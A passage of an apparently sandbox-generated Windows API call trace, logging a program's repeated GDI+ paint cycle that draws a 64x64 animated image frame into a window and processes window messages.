0x0 [0158.523] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0158.523] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0158.523] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0158.523] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.523] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0158.523] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0158.523] GetCurrentObject (hdc=0x1b010bab, type=0x1) returned 0x1b00017 [0158.523] GetCurrentObject (hdc=0x1b010bab, type=0x2) returned 0x1900010 [0158.523] GetCurrentObject (hdc=0x1b010bab, type=0x7) returned 0x1a05067e [0158.523] GetCurrentObject (hdc=0x1b010bab, type=0x6) returned 0x18a002e [0158.523] SaveDC (hdc=0x1b010bab) returned 1 [0158.524] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1a0407c3 [0158.524] GetClipRgn (hdc=0x1b010bab, hrgn=0x1a0407c3) returned 0 [0158.524] SelectClipRgn (hdc=0x1b010bab, hrgn=0xffffffffea040b8a) returned 2 [0158.524] DeleteObject (ho=0x1a0407c3) returned 1 [0158.524] DeleteObject (ho=0xffffffffea040b8a) returned 1 [0158.524] OffsetViewportOrgEx (in: hdc=0x1b010bab, x=0, y=0, lppt=0x271a158 | out: lppt=0x271a158) returned 1 [0158.524] GetNearestColor (hdc=0x1b010bab, color=0xffffff) returned 0xffffff [0158.524] CreateSolidBrush (color=0xffffff) returned 0xfffffffff2100190 [0158.524] FillRect (hDC=0x1b010bab, lprc=0x15d7c0, hbr=0xfffffffff2100190) returned 1 [0158.524] DeleteObject (ho=0xfffffffff2100190) returned 1 [0158.524] RestoreDC (hdc=0x1b010bab, nSavedDC=-1) returned 1 [0158.525] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.525] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1b010bab) returned 0x0 [0158.525] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc020dbd) returned 0x0 [0158.525] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.525] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0158.525] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0158.525] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.525] GetSystemMetrics (nIndex=42) returned 0 [0158.525] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0158.525] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0158.525] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0158.525] CoTaskMemFree (pv=0x1e91eca0) [0158.525] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0158.525] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0158.525] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0158.525] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0158.526] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x1b010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0158.526] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.526] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1b010bab) returned 0x0 [0158.526] SelectObject (hdc=0x1b010bab, h=0x185000f) returned 0x1a05067e [0158.526] DeleteDC (hdc=0x1b010bab) returned 1 [0158.526] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.526] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0158.526] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0158.526] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0158.526] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0158.526] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0158.526] WaitMessage () returned 1 [0158.696] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0158.696] IsWindowUnicode (hWnd=0x2031e) returned 1 [0158.696] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0158.696] TranslateMessage (lpMsg=0x15e910) returned 0 [0158.696] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0158.696] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0158.696] GetCurrentThreadId () returned 0xec0 [0158.696] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0158.696] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0158.696] IsWindowUnicode (hWnd=0x2031e) returned 1 [0158.696] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0158.696] TranslateMessage (lpMsg=0x15e910) returned 0 [0158.696] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0158.697] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0158.697] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0158.697] CreateCompatibleDC (hdc=0x3010b83) returned 0x1c010bab [0158.697] SelectObject (hdc=0x1c010bab, h=0x1a05067e) returned 0x185000f [0158.697] GdipCreateFromHDC (hdc=0x1c010bab, graphics=0x15daf0) returned 0x0 [0158.697] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0158.698] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0158.698] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0158.698] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0158.698] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0158.698] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.698] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0158.699] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.699] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.699] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0158.699] GdipCreateRegion (region=0x15dc20) returned 0x0 [0158.699] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0158.699] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0158.699] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0158.699] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0158.699] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.699] GetSystemMetrics (nIndex=42) returned 0 [0158.699] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0158.700] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0158.700] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0158.700] CoTaskMemFree (pv=0x1e91eca0) [0158.700] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0158.700] GdipCreateRegion (region=0x15d710) returned 0x0 [0158.700] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0158.700] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0158.700] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0158.700] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0158.701] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.701] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0158.701] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.701] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0158.701] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.702] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0158.702] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.718] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.718] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0158.718] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0158.718] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0158.718] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0158.719] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.719] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0158.719] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0158.719] GetCurrentObject (hdc=0x1c010bab, type=0x1) returned 0x1b00017 [0158.719] GetCurrentObject (hdc=0x1c010bab, type=0x2) returned 0x1900010 [0158.719] GetCurrentObject (hdc=0x1c010bab, type=0x7) returned 0x1a05067e [0158.719] GetCurrentObject (hdc=0x1c010bab, type=0x6) returned 0x18a002e [0158.719] SaveDC (hdc=0x1c010bab) returned 1 [0158.719] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffeb040b8a [0158.719] GetClipRgn (hdc=0x1c010bab, hrgn=0xffffffffeb040b8a) returned 0 [0158.719] SelectClipRgn (hdc=0x1c010bab, hrgn=0x1b0407c3) returned 2 [0158.719] DeleteObject (ho=0xffffffffeb040b8a) returned 1 [0158.720] DeleteObject (ho=0x1b0407c3) returned 1 [0158.720] OffsetViewportOrgEx (in: hdc=0x1c010bab, x=0, y=0, lppt=0x271aa90 | out: lppt=0x271aa90) returned 1 [0158.720] GetNearestColor (hdc=0x1c010bab, color=0xffffff) returned 0xffffff [0158.720] CreateSolidBrush (color=0xffffff) returned 0xfffffffff3100190 [0158.720] FillRect (hDC=0x1c010bab, lprc=0x15d7c0, hbr=0xfffffffff3100190) returned 1 [0158.720] DeleteObject (ho=0xfffffffff3100190) returned 1 [0158.720] RestoreDC (hdc=0x1c010bab, nSavedDC=-1) returned 1 [0158.720] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.720] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1c010bab) returned 0x0 [0158.721] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc000dbd) returned 0x0 [0158.721] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.721] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0158.721] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0158.721] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.721] GetSystemMetrics (nIndex=42) returned 0 [0158.721] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0158.721] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0158.721] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0158.721] CoTaskMemFree (pv=0x1e91eca0) [0158.721] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x8) returned 0x0 [0158.723] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0158.723] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0158.723] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0158.724] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0158.724] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x1c010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0158.724] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.724] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1c010bab) returned 0x0 [0158.724] SelectObject (hdc=0x1c010bab, h=0x185000f) returned 0x1a05067e [0158.724] DeleteDC (hdc=0x1c010bab) returned 1 [0158.724] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.724] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0158.724] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0158.724] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0158.725] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0158.725] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0158.725] WaitMessage () returned 1 [0158.929] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0158.929] IsWindowUnicode (hWnd=0x2031e) returned 1 [0158.929] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0158.929] TranslateMessage (lpMsg=0x15e910) returned 0 [0158.929] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0158.929] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0158.929] GetCurrentThreadId () returned 0xec0 [0158.929] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0158.929] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0158.929] IsWindowUnicode (hWnd=0x2031e) returned 1 [0158.929] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0158.929] TranslateMessage (lpMsg=0x15e910) returned 0 [0158.929] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0158.929] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0158.929] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0158.930] CreateCompatibleDC (hdc=0x3010b83) returned 0x1d010bab [0158.930] SelectObject (hdc=0x1d010bab, h=0x1a05067e) returned 0x185000f [0158.930] GdipCreateFromHDC (hdc=0x1d010bab, graphics=0x15daf0) returned 0x0 [0158.930] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0158.930] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0158.930] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0158.930] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0158.930] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0158.931] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.931] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0158.931] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.931] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.932] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0158.932] GdipCreateRegion (region=0x15dc20) returned 0x0 [0158.932] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0158.932] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0158.932] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0158.932] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0158.932] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.932] GetSystemMetrics (nIndex=42) returned 0 [0158.932] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0158.932] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0158.932] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0158.932] CoTaskMemFree (pv=0x1e91eca0) [0158.932] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0158.933] GdipCreateRegion (region=0x15d710) returned 0x0 [0158.933] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0158.933] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0158.933] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0158.933] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0158.933] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.933] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0158.934] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.934] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0158.934] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.934] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0158.934] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.934] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.935] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0158.935] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0158.935] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0158.935] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0158.935] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.935] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0158.935] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0158.935] GetCurrentObject (hdc=0x1d010bab, type=0x1) returned 0x1b00017 [0158.935] GetCurrentObject (hdc=0x1d010bab, type=0x2) returned 0x1900010 [0158.935] GetCurrentObject (hdc=0x1d010bab, type=0x7) returned 0x1a05067e [0158.936] GetCurrentObject (hdc=0x1d010bab, type=0x6) returned 0x18a002e [0158.936] SaveDC (hdc=0x1d010bab) returned 1 [0158.936] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1c0407c3 [0158.936] GetClipRgn (hdc=0x1d010bab, hrgn=0x1c0407c3) returned 0 [0158.936] SelectClipRgn (hdc=0x1d010bab, hrgn=0xffffffffec040b8a) returned 2 [0158.936] DeleteObject (ho=0x1c0407c3) returned 1 [0158.936] DeleteObject (ho=0xffffffffec040b8a) returned 1 [0158.936] OffsetViewportOrgEx (in: hdc=0x1d010bab, x=0, y=0, lppt=0x271bd78 | out: lppt=0x271bd78) returned 1 [0158.936] GetNearestColor (hdc=0x1d010bab, color=0xffffff) returned 0xffffff [0158.936] CreateSolidBrush (color=0xffffff) returned 0xfffffffff4100190 [0158.937] FillRect (hDC=0x1d010bab, lprc=0x15d7c0, hbr=0xfffffffff4100190) returned 1 [0158.937] DeleteObject (ho=0xfffffffff4100190) returned 1 [0158.937] RestoreDC (hdc=0x1d010bab, nSavedDC=-1) returned 1 [0158.937] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.937] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1d010bab) returned 0x0 [0158.937] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbfe0dbd) returned 0x0 [0158.937] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.937] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0158.937] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0158.937] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.937] GetSystemMetrics (nIndex=42) returned 0 [0158.937] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0158.938] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0158.938] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0158.938] CoTaskMemFree (pv=0x1e91eca0) [0158.938] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0158.938] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0158.938] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0158.938] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0158.938] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x1d010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0158.938] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.939] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1d010bab) returned 0x0 [0158.939] SelectObject (hdc=0x1d010bab, h=0x185000f) returned 0x1a05067e [0158.939] DeleteDC (hdc=0x1d010bab) returned 1 [0158.939] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.939] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0158.939] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0158.939] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0158.939] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0158.939] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0158.939] WaitMessage () returned 1 [0159.125] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0159.125] IsWindowUnicode (hWnd=0x2031e) returned 1 [0159.125] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0159.125] TranslateMessage (lpMsg=0x15e910) returned 0 [0159.125] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0159.125] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0159.125] GetCurrentThreadId () returned 0xec0 [0159.125] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0159.125] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0159.125] IsWindowUnicode (hWnd=0x2031e) returned 1 [0159.125] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0159.126] TranslateMessage (lpMsg=0x15e910) returned 0 [0159.126] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0159.126] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0159.126] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0159.126] CreateCompatibleDC (hdc=0x3010b83) returned 0x1e010bab [0159.126] SelectObject (hdc=0x1e010bab, h=0x1a05067e) returned 0x185000f [0159.126] GdipCreateFromHDC (hdc=0x1e010bab, graphics=0x15daf0) returned 0x0 [0159.126] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0159.126] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0159.126] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0159.127] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0159.127] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0159.127] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.127] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0159.127] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.128] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.128] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0159.128] GdipCreateRegion (region=0x15dc20) returned 0x0 [0159.128] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0159.128] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0159.128] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0159.128] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0159.128] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0159.128] GetSystemMetrics (nIndex=42) returned 0 [0159.128] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0159.128] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0159.128] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0159.128] CoTaskMemFree (pv=0x1e91eca0) [0159.128] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0159.129] GdipCreateRegion (region=0x15d710) returned 0x0 [0159.129] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0159.129] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0159.129] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0159.129] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0159.129] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.129] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0159.129] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.130] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0159.130] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.130] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 